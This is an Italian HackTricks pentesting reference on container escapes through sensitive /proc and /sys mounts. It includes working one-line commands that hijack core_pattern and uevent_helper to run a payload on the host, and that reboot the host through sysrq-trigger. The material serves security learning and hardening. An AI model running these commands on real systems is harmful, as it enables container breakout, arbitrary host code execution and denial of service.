Sensitive Mounts

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

L'esposizione di /proc e /sys senza un'adeguata isolamento dei namespace introduce rischi significativi per la sicurezza, inclusa l'espansione della superficie di attacco e la divulgazione di informazioni. Queste directory contengono file sensibili che, se configurati in modo errato o accessibili da un utente non autorizzato, possono portare alla fuga del container, alla modifica dell'host o fornire informazioni che facilitano ulteriori attacchi. Ad esempio, il montaggio non corretto di -v /proc:/host/proc può eludere la protezione di AppArmor a causa della sua natura basata sul percorso, lasciando /host/proc non protetto.

Puoi trovare ulteriori dettagli su ciascuna vulnerabilità potenziale in https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.

Vulnerabilità di procfs

/proc/sys

Questa directory consente l'accesso per modificare le variabili del kernel, di solito tramite sysctl(2), e contiene diverse sottodirectory di interesse:

/proc/sys/kernel/core_pattern

  • Descritto in core(5).

  • Consente di definire un programma da eseguire alla generazione del file core con i primi 128 byte come argomenti. Ciò può portare all'esecuzione di codice se il file inizia con un pipe |.

  • Esempio di test ed exploit:

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test di accesso in scrittura
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Imposta un gestore personalizzato
sleep 5 && ./crash & # Attiva il gestore

/proc/sys/kernel/modprobe

  • Dettagliato in proc(5).

  • Contiene il percorso al caricatore di moduli del kernel, invocato per il caricamento dei moduli del kernel.

  • Esempio di controllo dell'accesso:

ls -l $(cat /proc/sys/kernel/modprobe) # Controlla l'accesso a modprobe

/proc/sys/vm/panic_on_oom

  • Citato in proc(5).

  • Un flag globale che controlla se il kernel va in panico o invoca l'OOM killer quando si verifica una condizione OOM.

/proc/sys/fs

  • Come da proc(5), contiene opzioni e informazioni sul file system.

  • L'accesso in scrittura può consentire vari attacchi di negazione del servizio contro l'host.

/proc/sys/fs/binfmt_misc

  • Consente di registrare interpreti per formati binari non nativi in base al loro numero magico.

  • Può portare a un'escalation dei privilegi o all'accesso alla shell di root se /proc/sys/fs/binfmt_misc/register è scrivibile.

  • Esploito e spiegato in modo dettagliato:

  • Tutorial approfondito: Link al video

Altri in /proc

/proc/config.gz

  • Potrebbe rivelare la configurazione del kernel se CONFIG_IKCONFIG_PROC è abilitato.

  • Utile per gli attaccanti per identificare vulnerabilità nel kernel in esecuzione.

/proc/sysrq-trigger

  • Consente di invocare comandi Sysrq, causando potenzialmente riavvii immediati del sistema o altre azioni critiche.

  • Esempio di riavvio dell'host:

echo b > /proc/sysrq-trigger # Riavvia l'host

/proc/kmsg

  • Espone i messaggi del buffer circolare del kernel.

  • Può aiutare negli exploit del kernel, nelle fughe di indirizzi e nel fornire informazioni sensibili sul sistema.

/proc/kallsyms

  • Elenca i simboli esportati dal kernel e i loro indirizzi.

  • Fondamentale per lo sviluppo di exploit del kernel, specialmente per superare KASLR.

  • Le informazioni sugli indirizzi sono limitate con kptr_restrict impostato su 1 o 2.

  • Dettagli in proc(5).

/proc/[pid]/mem

  • Interfaccia con il dispositivo di memoria del kernel /dev/mem.

  • Storicamente vulnerabile agli attacchi di escalation dei privilegi.

  • Maggiori dettagli in proc(5).

/proc/kcore

  • Rappresenta la memoria fisica del sistema in formato core ELF.

  • La lettura può rivelare i contenuti della memoria dell'host e di altri container.

  • Le dimensioni del file possono causare problemi di lettura o crash del software.

  • Utilizzo dettagliato in Dumping /proc/kcore in 2019.

/proc/kmem

  • Interfaccia alternativa per /dev/kmem, rappresentante la memoria virtuale del kernel.

  • Consente la lettura e la scrittura, quindi la modifica diretta della memoria del kernel.

/proc/mem

  • Interfaccia alternativa per /dev/mem, rappresentante la memoria fisica.

  • Consente la lettura e la scrittura, la modifica di tutta la memoria richiede la risoluzione degli indirizzi virtuali in fisici.

/proc/sched_debug

  • Restituisce informazioni sulla pianificazione dei processi, eludendo le protezioni dello spazio dei PID.

  • Espone nomi dei processi, ID e identificatori cgroup.

/proc/[pid]/mountinfo

  • Fornisce informazioni sui punti di mount nel namespace di mount del processo.

  • Espone la posizione del rootfs o dell'immagine del container.

Vulnerabilità di /sys

/sys/kernel/uevent_helper

  • Usato per gestire i uevent dei dispositivi del kernel.

  • Scrivere su /sys/kernel/uevent_helper può eseguire script arbitrari al verificarsi di uevent triggers.

  • Esempio di exploit: %%%bash

Crea un payload

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

Trova il percorso dell'host dal mount OverlayFS per il container

host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)

Imposta uevent_helper su un helper malizioso

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

Attiva un uevent

echo change > /sys/class/mem/null/uevent

Legge l'output

cat /output %%%

/sys/class/thermal

  • Controlla le impostazioni della temperatura, potenzialmente causando attacchi DoS o danni fisici.

/sys/kernel/vmcoreinfo

  • Rilascia gli indirizzi del kernel, compromettendo potenzialmente il KASLR.

/sys/kernel/security

  • Contiene l'interfaccia securityfs, permettendo la configurazione dei Moduli di Sicurezza Linux come AppArmor.

  • L'accesso potrebbe consentire a un container di disabilitare il suo sistema MAC.

/sys/firmware/efi/vars e /sys/firmware/efi/efivars

  • Espone interfacce per interagire con le variabili EFI nella NVRAM.

  • Una errata configurazione o sfruttamento può portare a laptop bloccati o macchine host non avviabili.

/sys/kernel/debug

  • debugfs offre un'interfaccia di debug "senza regole" al kernel.

  • Storia di problemi di sicurezza dovuti alla sua natura non limitata.

References

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated